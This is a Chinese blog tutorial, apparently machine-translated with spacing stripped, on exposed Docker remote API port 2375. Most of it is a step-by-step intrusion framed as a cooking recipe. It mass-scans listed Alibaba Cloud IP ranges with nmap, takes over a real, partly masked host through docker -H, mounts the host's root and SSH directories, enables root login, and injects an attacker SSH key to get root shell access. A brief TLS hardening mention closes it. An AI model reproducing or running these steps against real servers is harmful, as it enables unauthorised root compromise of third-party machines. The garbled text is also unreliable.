Docker暴露2375端口导致服务器被攻击问题及解决方法

Docker暴露2375端口导致服务器被攻击问题及解决方法

本文主要介绍Docker暴露端口2375导致服务器被攻击的问题，以及解决方法。本文通过示例代码给你做了非常详细的介绍，对你的学习或者工作有一定的参考价值。有需要的朋友可以参考一下。

相信了解过docker远程API的同学都很熟悉端口2375，这是docker远程控制的默认端口。通过这个端口，你可以直接 *** 作远程docker守护进程。

当$HOST用dockerdaemon-h=0.0.0.0:2375启动守护进程时，可以直接在外部机器上 *** 作$HOST的docker守护进程:

docker-Htcp://$HOST:2375ps

好了，说说怎么“入侵”，怎么通过这个端口入侵主机。

这要从几个点说起:
1。docker不隔离用户命名空间，即容器内部的root用户是主机的root用户。一旦装载了目录，您就可以作为主机的root用户在容器内随意修改装载的文件系统。

Docker服务具有较高的执行权限(相当于root)，docker用户组下的普通用户可以执行dockerrun等命令，无需任何其他验证。

暴露的docker远程API端口。如果不启动ssl验证，任何可以连接到这个docker主机的机器都可以随意 *** 作这个docker主机的Docker守护进程(比如DockerRun、dockerps、dockerrm等命令。都不在话下)。

综合以上三点，我们基本具备了入侵docker主机的条件。

说话似乎有点悬，不多说了，就举个生动的例子:

(请允许我用一个新学的菜带着过程穿越╮(▽╭)

秘制红烧肉(docker版)

素材:一块“5花”IP段，越胖越好(白用户越多越好)

成分:nmap，docker

步骤1:扫描端口2375

怎么扫？我选择了nmap，一个简单易用的黑客必备神器。

扫哪里？我的目标是阿里云的IP段。百度了解到:

42.96.128.0/17Alibaba(Beijing)TechnologyCo.,Ltd.China 42.120.0.0/16AliyunComputingCo.,LTDChina 42.121.0.0/16AliyunComputingCo.,LTDChina 42.156.128.0/17AliyunComputingCo.,LTDChina 110.75.0.0/16AsiaPacificNetworkInformationCentreChina 110.76.0.0/19AliTechnologyCo.,LtdChina 110.76.32.0/20AliyunComputingCo.,LTDChina 110.173.192.0/20HiChinaWebSolutions(Beijing)LimitedChina 110.173.208.0/20HiChinaWebSolutions(Beijing)LimitedChina 112.124.0.0/16HangzhouAlibabaAdvertisingCo.,Ltd.China 112.127.0.0/16HangzhouAlibabaAdvertisingCo.,Ltd.China 114.215.0.0/16HangzhouAlibabaAdvertisingCo.,Ltd.China 115.28.0.0/16HiChinaWebSolutions(Beijing)LimitedChina 115.29.0.0/16HiChinaWebSolutions(Beijing)LimitedChina 115.124.16.0/22HangzhouAlibabaAdvertisingCo.,Ltd.China 115.124.20.0/22HangzhouAlibabaAdvertisingCo.,Ltd.China 115.124.24.0/21HangzhouAlibabaAdvertisingCo.,Ltd.China 119.38.208.0/21HangzhouAlibabaAdvertisingCo.,Ltd.China 119.38.216.0/21HangzhouAlibabaAdvertisingCo.,Ltd.China 119.42.224.0/20Alibaba(China)TechnologyCo.,Ltd.China 119.42.242.0/23HangzhouAlibabaAdvertisingCo.,Ltd.China 119.42.244.0/22HangzhouAlibabaAdvertisingCo.,Ltd.China 121.0.16.0/21HangzhouAlibabaAdvertisingCo.,Ltd.China 121.0.24.0/22HangzhouAlibabaAdvertisingCo.,Ltd.China 121.0.28.0/22HangzhouAlibabaAdvertisingCo.,Ltd.China 121.196.0.0/16HangzhouAlibabaAdvertisingCo.,Ltd.China 121.197.0.0/16HangzhouAlibabaAdvertisingCo.,Ltd.China 121.198.0.0/16HangzhouAlibabaAdvertisingCo.,Ltd.China 121.199.0.0/16HangzhouAlibabaAdvertisingCo.,Ltd.China 140.205.0.0/16AliyunComputingCo.,LTDChina 203.209.250.0/23HangzhouAlibabaAdvertisingCo.,Ltd.China 218.244.128.0/19HangzhouAlibabaAdvertisingCo.,Ltd.China 223.4.0.0/16HangzhouAlibabaAdvertisingCo.,Ltd.China 223.5.0.0/16HangzhouAlibabaAdvertisingCo.,Ltd.China 223.5.5.0/24HangzhouAlibabaAdvertisingCo.,Ltd.China 223.6.0.0/16HangzhouAlibabaAdvertisingCo.,Ltd.China 223.6.6.0/24HangzhouAlibabaAdvertisingCo.,Ltd.China 223.7.0.0/16HangzhouAlibabaAdvertisingCo.,Ltd.

我不生产IP，我只是百度的搬运工。不要问我这些IP是哪里来的，我也想知道~>。<

将上述IP内容保存在一个文件中，比如aliyun.list

开始扫描:

cataliyun.list|awk'{print$1}'|xargs-n1-I{}nmap-sT-p2375{}--open #简单解释一下命令： #awk将第一列IP网段过滤出来 #xargs将过滤出来的IP一个一个的分次送给nmap，-I{}是指使用{}来代替传送的参数 #... #StartingNmap7.01(https://nmap.org)at2016-06-0509:57CST #Nmapscanreportfor42.96.MOSAIC.MOSAIC #Hostisup(0.070slatency). #PORTSTATESERVICE #2375/tcpopendocker #...

不到两分钟，第一块42.96.MOSAIC.MOSAIC(五花肉已打码)“五花肉”已经选好了。加油~

第二步:测试2375的直接控制权

docker-Htcp://42.96.MOSAIC.MOSAIC:2375ps #CONTAINERIDIMAGECOMMANDCREATEDSTATUSPORTS #73aa690e7c92imdjh/owncloud-with-ocdownloader"/entrypoint.sh"9daysagoUp3days0.0.0.0:9009->80 #f57c56af0e29rethinkdb:2.3.2"rethinkdb--bindall"9daysagoUp3days8080/tcp,28015/ #37c1401db593gaomd/ikev2-vpn-server:0.3.0"/bin/sh-c/usr/bin/"10daysagoUp3days0.0.0.0:500->500 #af7338a5426dnginx:1.9-alpine"nginx-g'daemonoff"3weeksagoUp3days443/tcp,0.0.0.0 #...

这个服务器的主人太配合了(⊙ο⊙)。ps直接看到内容，说明主机的2375没有ssl验证，基本符合入侵要求。

“五花”洗净，切好，准备下锅~

第3步:远程启动你自己的容器。

你能用docker的控件做什么？呵呵等你拿到了~

#images看看本地已有的镜像 #docker-Htcp://42.96.MOSAIC.MOSAIC:2375images #... #swarmlatest47dc182ea74b4weeksago19.32MB #jwilder/nginx-proxylatest203b20631e414weeksago255.6MB #ubuntulatestc5f1cf30c96b4weeksago120.8MB #shipyard/shipyardlatestba426f0944bc5weeksago58.92MB #...

输出省略了一部分，图片还挺多的，选ubuntu吧。

#docker-HTCP://42.96.mosaic.mosaic:2375run-RM-it-entrypointbash-v/root:/tmp/root-v/etc/ssh:/tmp/ssh_etc-v/var/log:/tmp/logUbuntu

看到这一步，相信对ssh有所了解的同学应该明白了。

步骤4:sshpub密钥注入

看看刚启动的容器中/tmp/ssh_etc/sshd_config(即主机的/etc/ssh/sshd_config)的PermitRootLogin字段。如果是no，将其更改为yes，并允许root用户通过ssh登录。

然后在您的机器上生成一对新的pub密钥(如果您已经有一个ssh密钥，也建议生成一个新的，所以不要在日常使用中使用您自己的sshpub密钥)

#使用ssh-keygen生成 ssh-keygen-trsa-C"hello@world.com" #执行命令后的提示Enterfileinwhichtosavethekey要看好，不要把自己的sshkey覆盖了，可以选着/tmp/id_rsa #其他提示enter到底即可

继续，注入sshpubkey，返回刚刚启动的容器执行。

cat>>/tmp/root/.ssh/authorized_keys<<EOF >ssh-rsaAAA....#这里粘贴你刚刚在自己机器生成的/tmp/id_rsa.pub >EOF #如果/tmp/root/.ssh目录不存在，就直接创建

加入八角叶、酱油和醋，中火煮，准备出锅~

步骤5:登录到服务器

#ssh-i指定秘钥登录 ssh-i/tmp/id_rsaroot@42.96.MOSAIC.MOSAIC #WelcometoUbuntu14.04.1LTS(GNU/Linux3.13.0-32-genericx86_64) # #*Documentation:https://help.ubuntu.com/ # #WelcometoaliyunElasticComputeService! # #Lastlogin:FriJun301:38:072016from120.85.MOSAIC.MOSAIC #manpath:can'tsetthelocale;makesure$LC_*and$LANGarecorrect #root@iZ28p9b7e***:~# #...

把果汁从火里拿出来，把锅拿出来！

郑重声明

以上教程仅供交流学习。42.96.MOSAIC.MOSAIC服务器上的id_rsa.pub在制作本教程后已被主动清除，并在服务上留言。

如果不小心发现了可用的2375端口，希望大家也能查一下，误用于其他用途，或者发现其他入侵漏洞，大家可以交流借鉴。

275是docker漏洞吗？

不要！2375直接暴露于公网，纯属用户习惯或懒惰问题。2375可以很容易地在相对安全的内部网络中测试和使用，但不适合在生产环境中使用。

Docker官网第一篇文档快速入门有这样一句话:

警告:将默认docker守护程序绑定更改为TCP端口或
Unixdocker用户组将增加您的安全风险，因为这将允许
非超级用户获得主机上的超级用户访问权限。确保您控制对docker的
访问。如果绑定到TCP端口，任何对该端口具有
访问权限的人都具有完全Docker访问权限；所以在开放的网络上不建议
。

警告告诉我们，如果daemon直接暴露于TCP端口，它可能会被用作非root用户来获得主机的root权限。其实就是因为这个原因，上面提到的服务器被入侵了。

以防万一。

那么，问题来了。如果想使用远程API，又不想冒被入侵的风险，应该怎么做？

Docker官方文档介绍了一种通过CA认证使用远程API的方法。

请参考:保护Docker守护进程套接字。

(等你明白了，再补一篇博客。我以链接的形式来说吧。OO)

配置过程相对简单。下面一张图展示了配置SSL后的效果:

关于docker暴露2375端口，导致服务器被攻击，及其解决方案的文章到此为止。关于Docker暴露2375端口的更多信息，请搜索我们以前的文章或继续浏览下面的相关文章。希望你以后能支持我们！